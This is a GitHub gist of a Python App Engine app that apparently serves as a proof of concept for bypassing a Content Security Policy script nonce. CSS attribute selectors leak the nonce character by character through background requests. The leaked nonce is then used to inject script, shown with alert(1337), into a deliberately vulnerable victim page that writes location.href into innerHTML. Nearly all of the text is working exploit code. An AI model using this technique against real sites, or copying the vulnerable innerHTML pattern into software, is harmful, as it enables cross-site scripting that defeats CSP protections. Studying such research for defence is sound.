Skip to content

Instantly share code, notes, and snippets.

@sirdarckcat
Created December 28, 2016 00:25
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save sirdarckcat/273b6449824244dee755814e1a8cb97d to your computer and use it in GitHub Desktop.
Save sirdarckcat/273b6449824244dee755814e1a8cb97d to your computer and use it in GitHub Desktop.
application: cspnonce-test
version: 1
runtime: python27
api_version: 1
threadsafe: yes
handlers:
- url: /.*
script: main.APP
libraries:
- name: webapp2
version: "2.5.2"
import random
import time
import webapp2
class RecordHandler(webapp2.RequestHandler):
def get(self): # pylint:disable-msg=invalid-name
"""Handle requests from CSS rules."""
if self.request.get('reset'):
self.response.delete_cookie('oldmatch')
elif self.request.get('finish'):
self.response.delete_cookie('oldmatch')
self.response.set_cookie('finish', self.request.get('finish'))
else:
newmatch = self.request.get('newmatch','')
oldmatch = self.request.cookies.get('oldmatch','')
self.response.set_cookie('oldmatch', oldmatch+','+newmatch)
self.response.write(newmatch)
class ImportHandler(webapp2.RequestHandler):
alphabet = 'abcdefghijklmnopqrstuvwxyz'
subTemplate = 'script[nonce^="%(match)s"]:after{content: url("record?newmatch=%(match)s");display: block;}'
extTemplate = 'script[nonce="%(match)s"]:after{content: url("record?finish=%(match)s");display: block;}'
def get_bruteforce(self, oldmatch):
output = self.extTemplate%({"match":oldmatch})
for i in range(len(self.alphabet)):
output += self.subTemplate%({"match":oldmatch+self.alphabet[i]})
return output
def get(self): # pylint:disable-msg=invalid-name
"""Handle requests from @import rules."""
sleep = int(self.request.get('sleep','0'))
if sleep:
time.sleep(sleep)
self.redirect('?sleep=0&r='+str(random.random()))
return
oldmatch = self.request.cookies.get('oldmatch','')
lastmatch = oldmatch.split(',').pop()
prefix='script{display:block!important;}'
bruteforce=self.get_bruteforce(lastmatch)
self.response.content_type='text/css'
self.response.write('%s\n%s'%(prefix,bruteforce))
class ExploitHandler(webapp2.RequestHandler):
def get(self): # pylint:disable-msg=invalid-name
"""Handle requests from CSS rules."""
if self.request.get('reset'):
self.response.delete_cookie('finish')
self.response.delete_cookie('oldmatch')
self.response.write("""\
<script>
var waitForNonce = new Promise(function(resolve, reject){
var finishInterval = setInterval(function(){
if (document.cookie.match(/finish=([^;]+)/)){
clearInterval(finishInterval);
clearInterval(matchInterval);
console.log('Found the nonce!', RegExp.$1);
resolve(RegExp.$1);
clearInterval(attackInterval);
}
}, 500);
var matchInterval = setInterval(function(){
if (document.cookie.match(/match=([^;]+)/)){
console.log('match!', RegExp.$1.split(/,/).pop(), RegExp.$1);
}
}, 500);
});
function iterate(){
frames[0].location.href="victim#<style>@import url(/import?r="+Math.random()+");</style>";
setTimeout(function(){
document.links[0].click();
},500);
}
if (parent==self) {
var iterateNext=1;
var attackInterval = setInterval(function() {
if(iterateNext==1)iterate();
iterateNext--;
},100);
}
</script>
<a href="data:text/html,<script>history.back()</script>" target="foo"></a>
<iframe name="foo" onload="iterateNext=10;"></iframe>
<script>
if (parent==self) {
waitForNonce.then(n=>{
setTimeout(()=>{
frames[0].location.href="victim#<iframe srcdoc='<script nonce="+n+">alert(1337)<\/script>'></iframe>";
setTimeout(function(){
document.links[0].click();
},500);
},1337);
});
} else {
waitForNonce.then(n=>parent.postMessage(n,"*"));
}
</script>
""")
class VictimHandler(webapp2.RequestHandler):
def get(self): # pylint:disable-msg=invalid-name
"""Handle victim role."""
if self.request.get('reset'):
self.response.delete_cookie('finish')
self.response.delete_cookie('oldmatch')
nonce = ''.join(random.choice('abcdefghijklmnopqrstuvwxyz') for i in range(8))
self.response.headers.add('content-security-policy', "default-src 'none';script-src 'nonce-%s' 'strict-dynamic'; style-src 'unsafe-inline' *; img-src *;"%nonce);
self.response.write("""\
<body>
<div id=victim></div>
<script nonce=%s>
document.getElementById('victim').innerHTML=location.href;
</script>
</body>
"""%nonce)
APP = webapp2.WSGIApplication([
('/record', RecordHandler),
('/import', ImportHandler),
('/exploit', ExploitHandler),
('/victim', VictimHandler),
], debug=True)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment